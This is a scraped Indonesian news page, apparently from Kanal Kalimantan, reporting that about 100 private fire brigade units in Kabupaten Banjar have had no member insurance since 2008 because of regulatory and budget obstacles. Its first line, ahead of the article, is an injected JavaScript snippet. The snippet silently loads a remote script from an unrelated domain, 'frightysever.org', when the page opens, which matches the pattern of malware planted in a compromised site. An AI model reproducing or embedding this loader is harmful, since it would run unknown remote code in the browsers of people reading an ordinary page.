(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Terkendala Regulasi, 100 BPK Swasta Tidak Ada Asuransi


MARTAPURA, Sempat menjadi satu-satunya wilayah di Kalsel yang anggota BPK swastanya diasuransi, kini 100 BPK di Kabupaten Banjar kesulitan menyiapkan regulasi ke Pemkab Banjar. Kepala Unit Pelaksana Teknis (UPT) Damkar Negeri Kabupaten Banjar Murjani mengatakan, keberadaan BPK swasta yang dinaungi UPT Damkar di Banjar hingga sekarang tumbuh dan berkembang. Namun tidak ada asuransi yang didapati oleh anggotanya sejak tahun 2008 lalu.

Setiap tahun UPT Dambar Banjar selalu mengajukan asuransi untuk BPK swasta ke Pemkab Banjar. Namun karena masih belum menemukan regulasi yang pas, usulan tersebut hingga sakarang masih belum pernah terealisasi lagi.

Resiko yang dialami oleh petugas BPK di lapangan sangat besar. Bahkan tidak jarang anggota yang tugasnya menyelamatkan masyarakat malah tertimpa musibah saat bertugas di lapangan. Untuk menghidupi BPKnya masing-masing mereka tidak jarang turun kejalan untuk meminta-minta sumbangan kepada masyarakat.

“Setiap tahun kita tidak ada henti-hentinya untuk mengajukan Asuransi khusus untuk pemadam Swasta di Kabupaten Banjar, karena kita mengapresiasi tugas yang diberikan kepada mereka itu sangat tinggi,” ujar Murjani.

Menurut Murjani, pemerintah masih belum mempersiapkan asuransi untuk BPK swasta. Sekarang pihak UPT Damkar Banjar juga masih belum dapat solusi atas regulasi yang harus dikenakan dan diperbolehkan sehingga terjadi penolakan.

Murjani mengatakan, apabila terjadi musibah terhadap anggota yang turun kelapangan, mereka berobat dengan biaya masing-masing karena tidak adanya asuransi. Bahkan tidak jarang anggota BPK yang lain patungan turut membantu untuk biaya berobat.

“Selama ini apabila terjadi musibah terhadap anggota ya berobatnya menggunakan biaya sendiri, kalau dia menggunakan BPJS perorangan ya syukur, kalo tidak insyaallah juga dibantu patungan oleh anggota yang lain,” akunya.

Keuangan daerah yang terbatas menurut Murjani juga menjadi kendala asuransi tersebut hingga sekarang tidak pernah diasuransikan, menginagat BPK yang diinduki oleh Buser 690 Banjar yang berada di Kabupaten Banar ini jumlahnya tidak sedikit yaitu 100 unit BPK. “Sekarang BPK yang dinaungi UPT Damkar Banjar ada sekitar 100 Unit. Bayangan saja jika satu BPK minimal ada 10 orang berapa totalnya,” pungkasnya.

Dulu Pemkab Banjar pernah memberikan bantuan kepada BPK setahun sebesar Rp 5 juta. Bahkan setiap ada terjadi musibah kebakaran ada uang BBM yang diberikan. Namun sejak 2008 bantuan itu tidak pernah lagi diberikan. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

9 menit ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

1 jam ago

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

3 jam ago

BRI Hadirkan Banjir Promo di HUT Ke-129, Cek di Sini!

KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More

3 jam ago

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

18 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

18 jam ago

This website uses cookies.